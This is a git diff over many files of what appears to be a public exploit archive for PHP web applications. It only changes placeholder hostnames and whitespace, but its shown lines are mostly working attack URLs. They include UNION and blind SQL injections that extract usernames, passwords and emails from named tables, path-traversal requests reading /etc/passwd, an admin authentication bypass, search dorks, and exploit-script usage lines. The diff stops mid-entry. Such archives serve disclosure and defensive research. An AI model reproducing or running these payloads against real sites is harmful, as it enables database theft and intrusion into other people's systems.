-+Vulnerability : www.server/smartplugs/showplugs.php?domain= ++Vulnerability : www.site.com/smartplugs/showplugs.php?domain= -+Exploitable users : www.server/smartplugs/showplugs.php?domain=-9999999999'+union+select ++Exploitable users : www.site.com/smartplugs/showplugs.php?domain=-9999999999'+union+select +1,concat(id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6+from+user--+ -Exploitable admin : www.server/smartplugs/showplugs.php?domain=-9999999999'+union+ +Exploitable admin : www.site.com/smartplugs/showplugs.php?domain=-9999999999'+union+ select+1,concat(username,0x3a,password),3,4,5,6+from+logins--+ ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11631.txt b/platforms/php/webapps/11631.txt index b88ce3bd9..36da62544 100755 --- a/platforms/php/webapps/11631.txt +++ b/platforms/php/webapps/11631.txt @@ -23,7 +23,7 @@ N00bor,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/phpnuke/user.php?op=userinfo&uname= -+Exploitable : http://www.server/phpnuke/user.php?op=userinfo&uname='+union+select ++Vulnerability : http://www.site.com/phpnuke/user.php?op=userinfo&uname= ++Exploitable : http://www.site.com/phpnuke/user.php?op=userinfo&uname='+union+select +1,2,version(),4,5,6,7,8,9,10,11,12,13--+ ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11637.txt b/platforms/php/webapps/11637.txt index 8aa5dbe54..d46014753 100755 --- a/platforms/php/webapps/11637.txt +++ b/platforms/php/webapps/11637.txt @@ -20,7 +20,7 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionshaus/news.php?id= -+Exploitable : www.server/auktionshaus/news.php?id=11111111+union+select+1,2, ++Vulnerability : www.site.com/auktionshaus/news.php?id= ++Exploitable : www.site.com/auktionshaus/news.php?id=11111111+union+select+1,2, concat(name,0x3a,password),4,5+from+users ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11643.txt b/platforms/php/webapps/11643.txt index 7cad2548f..37c6086db 100755 --- a/platforms/php/webapps/11643.txt +++ b/platforms/php/webapps/11643.txt @@ -23,9 +23,9 @@ N00bor,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/dev4u/go_target.php?go_target=texte&kontent_id=999999' ++Vulnerability : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=999999' -+Exploitable : www.server/dev4u/go_target.php?go_target=texte&kontent_id=9999999' ++Exploitable : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=9999999' +union+select+1,2,3,4,5,6,7,8,concat(user_name,0x3a,passwort),10,11,12,13,14,15,16+from+ cl_user+where+user_id=1--+&v=print ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11671.txt b/platforms/php/webapps/11671.txt index c918908d1..e9def4498 100755 --- a/platforms/php/webapps/11671.txt +++ b/platforms/php/webapps/11671.txt @@ -23,19 +23,19 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/portal/search.php?c= ++Vulnerability : http://www.site.com/portal/search.php?c= #username -+Exploitable : http://www.server/portal/search.php?c=-999999'+union+select+1,2, ++Exploitable : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2, 3,4,5,convert(name using utf8),7,8,9,10,11,12,13,14,15+from+users--+ #user pass -+Exploitable : http://www.server/portal/search.php?c=-999999'+union+select+1,2, ++Exploitable : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2, 3,4,5,convert(password using utf8),7,8,9,10,11,12,13,14,15+from+users--+ or -+Exploitable : http://www.server/portal/search.php?c=-999999'+union+select+1,2, ++Exploitable : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2, 3,4,5,concat(name,0x3a,password,0x3a,email)7,8,9,10,11,12,13,14,15+from+users--+ diff --git a/platforms/php/webapps/11676.txt b/platforms/php/webapps/11676.txt index 43dcb2460..7a2b25eff 100755 --- a/platforms/php/webapps/11676.txt +++ b/platforms/php/webapps/11676.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= campsite 3.3.5 CSRF Vulnerability @@ -55,3 +55,4 @@ #If you have any questions, comments, or concerns, feel free to contact me. + \ No newline at end of file diff --git a/platforms/php/webapps/11679.txt b/platforms/php/webapps/11679.txt index 5da406aa5..8f15e6c7a 100755 --- a/platforms/php/webapps/11679.txt +++ b/platforms/php/webapps/11679.txt @@ -22,7 +22,7 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/sbjbs/search_result.php?cid= -+Exploitable : http://www.server/sbjbs/search_result.php?cid=9999999+union+select+1 ++Vulnerability : http://www.site.com/sbjbs/search_result.php?cid= ++Exploitable : http://www.site.com/sbjbs/search_result.php?cid=9999999+union+select+1 ,concat(sb_admin_name,0x3a,sb_pwd),3,4+from+sbjbs_admin# ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11680.txt b/platforms/php/webapps/11680.txt index 27f48dabf..073dc123d 100755 --- a/platforms/php/webapps/11680.txt +++ b/platforms/php/webapps/11680.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= Anantasoft Gazelle CMS CSRF Vulnerability @@ -80,3 +80,4 @@ #If you have any questions, comments, or concerns, feel free to contact me. + \ No newline at end of file diff --git a/platforms/php/webapps/11686.txt b/platforms/php/webapps/11686.txt index 58404ebaa..03dfcdbe8 100755 --- a/platforms/php/webapps/11686.txt +++ b/platforms/php/webapps/11686.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= AneCMS CSRF Vulnerability @@ -69,3 +69,4 @@ #If you have any questions, comments, or concerns, feel free to contact me. + \ No newline at end of file diff --git a/platforms/php/webapps/11687.txt b/platforms/php/webapps/11687.txt index 7beb68c79..e54db0845 100755 --- a/platforms/php/webapps/11687.txt +++ b/platforms/php/webapps/11687.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= ANE CMS 1 Persistent XSS Vulnerability diff --git a/platforms/php/webapps/11689.txt b/platforms/php/webapps/11689.txt index 45f63697b..c1fbb476c 100755 --- a/platforms/php/webapps/11689.txt +++ b/platforms/php/webapps/11689.txt @@ -22,8 +22,8 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/webkatalog/start.php?go=rubrik&id= -+Exploitable : www.server/webkatalog/start.php?go=rubrik&id=-1+union+select+1,2,3,4, ++Vulnerability : www.site.com/webkatalog/start.php?go=rubrik&id= ++Exploitable : www.site.com/webkatalog/start.php?go=rubrik&id=-1+union+select+1,2,3,4, 5,6,7,8,9,concat(id,0x3a,vorname,0x3a,passwort,0x3,mail),11,12,13,14,15+from+php005_4_eintrag-- ^^"table name"^^ ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11701.txt b/platforms/php/webapps/11701.txt index 2de9567ba..c03be1f86 100755 --- a/platforms/php/webapps/11701.txt +++ b/platforms/php/webapps/11701.txt @@ -18,5 +18,5 @@ // Description: retrive users username and plaintext password. //------------------------------------------------ // NOTE / TIP: After you exploit the site please press CTRL+A :) -// EXPLOIT: http://server/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0 +// EXPLOIT: http://www.server.com/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0 //------------------------------------------------ \ No newline at end of file diff --git a/platforms/php/webapps/11715.txt b/platforms/php/webapps/11715.txt index 02d7e90fd..b2d6fe5e9 100755 --- a/platforms/php/webapps/11715.txt +++ b/platforms/php/webapps/11715.txt @@ -23,9 +23,9 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/community/index.php?d=list1&q=&kat=1&s_flaeche= ++Vulnerability : http://www.site.com/community/index.php?d=list1&q=&kat=1&s_flaeche= -+Exploitable : http://www.server/community/index.php?d=list1&q=&kat=1&s_flaeche= ++Exploitable : http://www.site.com/community/index.php?d=list1&q=&kat=1&s_flaeche= -9999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(username ,0x3a,passwort,0x3a,email),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 ,41,42,43+from+user+where+id=1-- diff --git a/platforms/php/webapps/1172.pl b/platforms/php/webapps/1172.pl index d557a4859..947bfff9d 100755 --- a/platforms/php/webapps/1172.pl +++ b/platforms/php/webapps/1172.pl @@ -30,7 +30,7 @@ if (@ARGV < 2) print " Usage: <T4rg3t> <DIR>\n\n"; print "==========================================\n\n"; print "Examples:\n\n"; - print " Mybb.pl www.server /mybb/ \n"; + print " Mybb.pl www.Site.com /mybb/ \n"; exit(); } diff --git a/platforms/php/webapps/11725.txt b/platforms/php/webapps/11725.txt index 5b62e367a..62a6663de 100755 --- a/platforms/php/webapps/11725.txt +++ b/platforms/php/webapps/11725.txt @@ -9,11 +9,11 @@ => Dork = inurl:"option=com_org" ------------------------------------------------------------------------------- -# EXp : http://www.webserver/path/index.php?option=com_org&task=info&id=22' <=[SQLI] --&#9001;=en +# EXp : http://www.website.com/path/index.php?option=com_org&task=info&id=22' <=[SQLI] --&#9001;=en Error = "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version" -# http://www.webserver/path/index.php?option=com_org&task=info&id=-22 UNION SELECT 1,2 ..... --&#9001;=en +# http://www.website.com/path/index.php?option=com_org&task=info&id=-22 UNION SELECT 1,2 ..... --&#9001;=en ******************************************************************************** diff --git a/platforms/php/webapps/11732.txt b/platforms/php/webapps/11732.txt index 090968a22..7efba67a5 100755 --- a/platforms/php/webapps/11732.txt +++ b/platforms/php/webapps/11732.txt @@ -14,6 +14,6 @@ Status : Bug ( # Find By : Amin Shokohi(Pejvak!) ================================================= ============================================= Exploit ======================================= -( * http://server/PHP-Nuke/modules.php?view=0&name=Folder Name&file=File Name -( Ex : http://server/PHP-Nuke/modules.php?view=0&name=Content/admin&file=panel +( * http://Site.cOm/PHP-Nuke/modules.php?view=0&name=Folder Name&file=File Name +( Ex : http://Site.cOm/PHP-Nuke/modules.php?view=0&name=Content/admin&file=panel ========================================================================================== \ No newline at end of file diff --git a/platforms/php/webapps/11733.txt b/platforms/php/webapps/11733.txt index c1bffed99..d1c99fe6e 100755 --- a/platforms/php/webapps/11733.txt +++ b/platforms/php/webapps/11733.txt @@ -22,7 +22,7 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/portal/index.php?a=d&id= -+Exploitable : http://www.server/portal/index.php?a=d&id=-11111111111+union+select ++Vulnerability : http://www.site.com/portal/index.php?a=d&id= ++Exploitable : http://www.site.com/portal/index.php?a=d&id=-11111111111+union+select +1,2,concat(firstname,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11+from+dsp_buyers-- ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11754.txt b/platforms/php/webapps/11754.txt index 3df131f40..3e8b65eb7 100755 --- a/platforms/php/webapps/11754.txt +++ b/platforms/php/webapps/11754.txt @@ -11,7 +11,7 @@ # Risk: Medium ################################################################# Vulnerability: -http://server/codelib/cfg/common.inc.php?LANG_CODE=../../../../../../etc/passwd%00 +http://site.com/codelib/cfg/common.inc.php?LANG_CODE=../../../../../../etc/passwd%00 ################################################################# # Discoverd By: Pouya Daneshmand diff --git a/platforms/php/webapps/11756.txt b/platforms/php/webapps/11756.txt index 27db6b9e6..73b7d4309 100755 --- a/platforms/php/webapps/11756.txt +++ b/platforms/php/webapps/11756.txt @@ -10,7 +10,7 @@ ===[ Exploit ]=== -www.server/index.php?option=com_linkr&controller=[LFI] -www.server/index.php?option=com_linkr&controller=../../../../../../../../../../etc/passwd%00 +www.site.com/index.php?option=com_linkr&controller=[LFI] +www.site.com/index.php?option=com_linkr&controller=../../../../../../../../../../etc/passwd%00 #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11757.txt b/platforms/php/webapps/11757.txt index d67be6582..b31888572 100755 --- a/platforms/php/webapps/11757.txt +++ b/platforms/php/webapps/11757.txt @@ -10,7 +10,7 @@ ===[ Exploit ]=== -www.server/index.php?option=com_janews&controller=[LFI] -www.server/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00 +www.site.com/index.php?option=com_janews&controller=[LFI] +www.site.com/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00 #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11758.txt b/platforms/php/webapps/11758.txt index 33cfe357d..f37024348 100755 --- a/platforms/php/webapps/11758.txt +++ b/platforms/php/webapps/11758.txt @@ -10,7 +10,7 @@ ===[ Exploit ]=== -www.server/index.php?option=com_ganalytics&controller=[LFI] -www.server/index.php?option=com_ganalytics&controller=../../../../../../../../../../etc/passwd%00 +www.site.com/index.php?option=com_ganalytics&controller=[LFI] +www.site.com/index.php?option=com_ganalytics&controller=../../../../../../../../../../etc/passwd%00 #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11759.txt b/platforms/php/webapps/11759.txt index 407eb1a5b..dffc13e02 100755 --- a/platforms/php/webapps/11759.txt +++ b/platforms/php/webapps/11759.txt @@ -10,7 +10,7 @@ ===[ Exploit ]=== -www.server/index.php?option=com_sectionex&controller=[LFI] -www.server/index.php?option=com_sectionex&controller=../../../../../../../../../../etc/passwd%00 +www.site.com/index.php?option=com_sectionex&controller=[LFI] +www.site.com/index.php?option=com_sectionex&controller=../../../../../../../../../../etc/passwd%00 #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11760.txt b/platforms/php/webapps/11760.txt index 7560ee19e..2c27bd03f 100755 --- a/platforms/php/webapps/11760.txt +++ b/platforms/php/webapps/11760.txt @@ -10,7 +10,7 @@ ===[ Exploit ]=== -www.server/index.php?option=com_rokdownloads&controller=[LFI] -www.server/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00 +www.site.com/index.php?option=com_rokdownloads&controller=[LFI] +www.site.com/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00 #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11761.txt b/platforms/php/webapps/11761.txt index e44301024..c637c1bfb 100755 --- a/platforms/php/webapps/11761.txt +++ b/platforms/php/webapps/11761.txt @@ -22,9 +22,9 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/forum/index.php?seite=17&aid= ++Vulnerability : http://www.site.com/forum/index.php?seite=17&aid= -+Exploitable : http://www.server/forum/index.php?seite=17&aid=111111111+union+select ++Exploitable : http://www.site.com/forum/index.php?seite=17&aid=111111111+union+select +1,2,concat(ID,0x3a,Benutzer,0x3a,passwort),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23+from+ls_kunden+where+id=1 diff --git a/platforms/php/webapps/11766.txt b/platforms/php/webapps/11766.txt index 77d03e711..934b3c56f 100755 --- a/platforms/php/webapps/11766.txt +++ b/platforms/php/webapps/11766.txt @@ -13,13 +13,13 @@ # Searching = "option=com_bidding" -==> http://www.server/index.php?option=com_bidding&id=200' <=[SQLi]-- +==> http://www.site.com/index.php?option=com_bidding&id=200' <=[SQLi]-- # error = "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result" -==> Exploiting = http://www.server/index.php?option=com_bidding&id=-200 UNION ALL SELECT 1,2, +==> Exploiting = http://www.site.com/index.php?option=com_bidding&id=-200 UNION ALL SELECT 1,2, concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from jos_users-- diff --git a/platforms/php/webapps/11767.txt b/platforms/php/webapps/11767.txt index 6f98fc355..f9a41fbf2 100755 --- a/platforms/php/webapps/11767.txt +++ b/platforms/php/webapps/11767.txt @@ -13,7 +13,7 @@ # Searching = ---" option=com_route "--- # # # # # -# USING = http://www.server/index.php?option=com_route&kid=-35022+ # +# USING = http://www.site.com/index.php?option=com_route&kid=-35022+ # # UNION+SELECT+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,# # 13,14,15,16,17,18,19,20,21 FROM JOOMLA USERS--&routing # # # diff --git a/platforms/php/webapps/11768.txt b/platforms/php/webapps/11768.txt index ebd55e786..0bd424b10 100755 --- a/platforms/php/webapps/11768.txt +++ b/platforms/php/webapps/11768.txt @@ -1,4 +1,4 @@ -|=-----------------------------------------------------=| + |=-----------------------------------------------------=| |=-------------=[ JIKO |No-exploit.Com| ]=-----------=| |=-----------------------------------------------------=| [~]-----------|00| diff --git a/platforms/php/webapps/11771.txt b/platforms/php/webapps/11771.txt index a61595215..abc89dad3 100755 --- a/platforms/php/webapps/11771.txt +++ b/platforms/php/webapps/11771.txt @@ -27,4 +27,4 @@ It is still to upload files with some dangerous extensions like php3 ! #EXPLOIT:#################################################################### -http://server/path_to_oSCMax/FCKeditor/editor/filemanager/browser/default/connectors/test.html \ No newline at end of file +http://site.com/path_to_oSCMax/FCKeditor/editor/filemanager/browser/default/connectors/test.html \ No newline at end of file diff --git a/platforms/php/webapps/11773.txt b/platforms/php/webapps/11773.txt index 3182a5fe7..f38d14bfc 100755 --- a/platforms/php/webapps/11773.txt +++ b/platforms/php/webapps/11773.txt @@ -11,7 +11,7 @@ # Risk: Medium ################################################################# Vulnerability: -http://server/codelib/sys/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00 +http://site.com/codelib/sys/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00 ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://securitylab.ir diff --git a/platforms/php/webapps/11775.txt b/platforms/php/webapps/11775.txt index b005b26c1..a0bfd0fc5 100755 --- a/platforms/php/webapps/11775.txt +++ b/platforms/php/webapps/11775.txt @@ -11,7 +11,7 @@ # Risk: Medium ################################################################# Vulnerability: -http://server/staff/app/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00 +http://site.com/staff/app/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00 ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://securitylab.ir diff --git a/platforms/php/webapps/11781.html b/platforms/php/webapps/11781.html index 9508e84bd..7c1e2fd8e 100755 --- a/platforms/php/webapps/11781.html +++ b/platforms/php/webapps/11781.html @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= chilly_CMS CSRF Vulnerability @@ -51,3 +51,4 @@ #If you have any questions, comments, or concerns, feel free to contact me. + \ No newline at end of file diff --git a/platforms/php/webapps/11783.txt b/platforms/php/webapps/11783.txt index b0fe055db..42d7b8b2f 100755 --- a/platforms/php/webapps/11783.txt +++ b/platforms/php/webapps/11783.txt @@ -23,9 +23,9 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/forum/index.php?seite=17&aid= ++Vulnerability : http://www.site.com/forum/index.php?seite=17&aid= -+Exploitable : http://www.server/forum/index.php?seite=17&aid=111111111+union+select ++Exploitable : http://www.site.com/forum/index.php?seite=17&aid=111111111+union+select +1,2,concat(ID,0x3a,Benutzer,0x3a,passwort),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23+from+ls_kunden+where+id=1 diff --git a/platforms/php/webapps/11805.txt b/platforms/php/webapps/11805.txt index 9c1f372e5..c84ab353a 100755 --- a/platforms/php/webapps/11805.txt +++ b/platforms/php/webapps/11805.txt @@ -23,14 +23,14 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/auktion/auktion.php?id_auk= ++Vulnerability : http://www.site.com/auktion/auktion.php?id_auk= #Password -+Exploitable : http://www.server/auktion/auktion.php?id_auk=1+and+1=1+and+ascii ++Exploitable : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii (substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 #Username -http://www.server/auktion/auktion.php?id_auk=1+and+1=1+and+ascii +http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii (substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 diff --git a/platforms/php/webapps/11811.txt b/platforms/php/webapps/11811.txt index 06199fac4..74c7230e7 100755 --- a/platforms/php/webapps/11811.txt +++ b/platforms/php/webapps/11811.txt @@ -21,9 +21,9 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/forum/index.php?seite=17&aid= ++Vulnerability : http://www.site.com/forum/index.php?seite=17&aid= -+Exploitable : http://www.server/forum/index.php?seite=17&aid=111111111+union+select ++Exploitable : http://www.site.com/forum/index.php?seite=17&aid=111111111+union+select +1,2,concat(ID,0x3a,Benutzer,0x3a,passwort),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23+from+ls_kunden+where+id=1 diff --git a/platforms/php/webapps/11816.txt b/platforms/php/webapps/11816.txt index 76de4dd16..f8607f15d 100755 --- a/platforms/php/webapps/11816.txt +++ b/platforms/php/webapps/11816.txt @@ -22,15 +22,15 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/auktion/auktion.php?id_auk= ++Vulnerability : http://www.site.com/auktion/auktion.php?id_auk= #password -+Exploitable : http://www.server/auktion/auktion.php?id_auk=1+and+1=1+and+ascii ++Exploitable : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii (substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 #username +Exploitable -http://www.server/auktion/auktion.php?id_auk=1+and+1=1+and+ascii +http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii (substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 ---------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11840.txt b/platforms/php/webapps/11840.txt index 87636aac8..1a89ea317 100755 --- a/platforms/php/webapps/11840.txt +++ b/platforms/php/webapps/11840.txt @@ -23,11 +23,11 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/news/index.php?shownews=' ++Vulnerability : http://www.site.com/news/index.php?shownews=' The password is a SHA-1 -+Exploitable : http://www.server/news/index.php?shownews=999999'+union+select+1,2,3, ++Exploitable : http://www.site.com/news/index.php?shownews=999999'+union+select+1,2,3, 4,concat(nickname,0x3a,pwd,0x3a,email),6,7,8,9,10,11,12,13+from+powie_pfuser+where+id=1--+ diff --git a/platforms/php/webapps/11846.txt b/platforms/php/webapps/11846.txt index 2f63bd4c2..64ba507ce 100755 --- a/platforms/php/webapps/11846.txt +++ b/platforms/php/webapps/11846.txt @@ -23,10 +23,10 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/uigabusinessportal/index.php?view=photos&id= ++Vulnerability : http://www.site.com/uigabusinessportal/index.php?view=photos&id= -+Exploitable : http://www.server/forum/uigabusinessportal/index.php?view=photos&id=1 ++Exploitable : http://www.site.com/forum/uigabusinessportal/index.php?view=photos&id=1 +union+select+1,2,concat(user_id,0x3a,username,0x3a,password),4,5+from+tbl_user+where+user_id=1 diff --git a/platforms/php/webapps/11848.txt b/platforms/php/webapps/11848.txt index 27dc7a742..bc271cc16 100755 --- a/platforms/php/webapps/11848.txt +++ b/platforms/php/webapps/11848.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/11852.txt b/platforms/php/webapps/11852.txt index 398798ae7..8bfa21964 100755 --- a/platforms/php/webapps/11852.txt +++ b/platforms/php/webapps/11852.txt @@ -13,7 +13,7 @@ Xataface Admin Auth Bypass Vulnerability software #[+] Vendor : http://xataface.com #[+] Usage : -http://www.server/admin.php?-action=view&-table=Users&-cursor=0&-skip=0&-limit=30&-mode=list +http://www.site.com/admin.php?-action=view&-table=Users&-cursor=0&-skip=0&-limit=30&-mode=list #[+] Alert : Most of the sites i tried running this software are diff --git a/platforms/php/webapps/11875.py b/platforms/php/webapps/11875.py index 6f64c7284..ccb764f53 100755 --- a/platforms/php/webapps/11875.py +++ b/platforms/php/webapps/11875.py @@ -24,10 +24,10 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/Easy-Clanpage/?section=user&action=details&id= ++Vulnerability : http://www.site.com/Easy-Clanpage/?section=user&action=details&id= #SQL Injection -+Exploitable : http://www.server/Easy-Clanpage/?section=user&action=details&id=1 ++Exploitable : http://www.site.com/Easy-Clanpage/?section=user&action=details&id=1 +union+select+concat(username,0x3a,password,0x3a,email)+from+ecp_user+where+userID=1-- ----------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/11881.php b/platforms/php/webapps/11881.php index 4209d52e5..d80807a66 100755 --- a/platforms/php/webapps/11881.php +++ b/platforms/php/webapps/11881.php @@ -2,7 +2,7 @@ echo "\n\n###########################################################################\n"; echo "## ##\n"; echo "## Product: SiteX CMS 0.7.4 beta (/photo.php) SQL-Injection exploit ##\n"; -echo "## Usage: php.exe sitex.php www.server /cmspath/ ##\n"; +echo "## Usage: php.exe sitex.php www.site.com /cmspath/ ##\n"; echo "## Require: Magic_quotes = off ##\n"; echo "## Author: Sc0rpi0n [RUS] (http://scorpion.su) ##\n"; echo "## Special for Antichat (forum.antichat.ru) ##\n"; diff --git a/platforms/php/webapps/11882.txt b/platforms/php/webapps/11882.txt index 6f09ecf68..8830a9895 100755 --- a/platforms/php/webapps/11882.txt +++ b/platforms/php/webapps/11882.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/11885.txt b/platforms/php/webapps/11885.txt index 7007e9f4a..8cf708423 100755 --- a/platforms/php/webapps/11885.txt +++ b/platforms/php/webapps/11885.txt @@ -24,9 +24,9 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/flirt/index.php?site=guestbook&id= ++Vulnerability : http://www.site.com/flirt/index.php?site=guestbook&id= -+Exploitable : http://www.server/flirt/index.php?site=guestbook&id=9999999999+union ++Exploitable : http://www.site.com/flirt/index.php?site=guestbook&id=9999999999+union +select+1,2,3,4,concat(id,0x3a,username,0x3a,password,0x3a,email),6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from +users+where+id=1 diff --git a/platforms/php/webapps/11888.txt b/platforms/php/webapps/11888.txt index d2c321994..eb32e59a5 100755 --- a/platforms/php/webapps/11888.txt +++ b/platforms/php/webapps/11888.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/11897.php b/platforms/php/webapps/11897.php index 2cc323054..826984071 100755 --- a/platforms/php/webapps/11897.php +++ b/platforms/php/webapps/11897.php @@ -2,7 +2,7 @@ echo "\n\n#############################################################################\n"; echo "## ##\n"; echo "## Product: Kasseler CMS 1.4.x lite (Module Jokes) SQL-Injection Exploit ##\n"; -echo "## Usage: php.exe kasseler.php www.server /cmspath/ ##\n"; +echo "## Usage: php.exe kasseler.php www.site.com /cmspath/ ##\n"; echo "## Require: Magic_quotes = off ##\n"; echo "## Author: Sc0rpi0n [RUS] (http://scorpion.su) ##\n"; echo "## Special for Antichat (http://forum.antichat.ru) ##\n"; diff --git a/platforms/php/webapps/11898.py b/platforms/php/webapps/11898.py index d226ac040..809a5a1ab 100755 --- a/platforms/php/webapps/11898.py +++ b/platforms/php/webapps/11898.py @@ -24,10 +24,10 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/flirt/auktion_text.php?id_auk= ++Vulnerability : http://www.site.com/flirt/auktion_text.php?id_auk= #password -+Exploitable : http://www.server/flirt/auktion_text.php?id_auk=1+and+1=1+and+ ++Exploitable : http://www.site.com/flirt/auktion_text.php?id_auk=1+and+1=1+and+ ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 diff --git a/platforms/php/webapps/11912.txt b/platforms/php/webapps/11912.txt index e2a3074bf..3036acdac 100755 --- a/platforms/php/webapps/11912.txt +++ b/platforms/php/webapps/11912.txt @@ -23,10 +23,10 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/multiauktionV3/auktion_text.php?id_auk= ++Vulnerability : http://www.site.com/multiauktionV3/auktion_text.php?id_auk= #password -+Exploitable : http://www.server/multiauktionV3/auktion_text.php?id_auk=1+and+1=1+and+ ++Exploitable : http://www.site.com/multiauktionV3/auktion_text.php?id_auk=1+and+1=1+and+ ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 diff --git a/platforms/php/webapps/11934.txt b/platforms/php/webapps/11934.txt index fa5d04810..29f39d1d2 100755 --- a/platforms/php/webapps/11934.txt +++ b/platforms/php/webapps/11934.txt @@ -23,9 +23,9 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/gb/kommentar.php?id= ++Vulnerability : http://www.site.com/gb/kommentar.php?id= -+Exploitable : 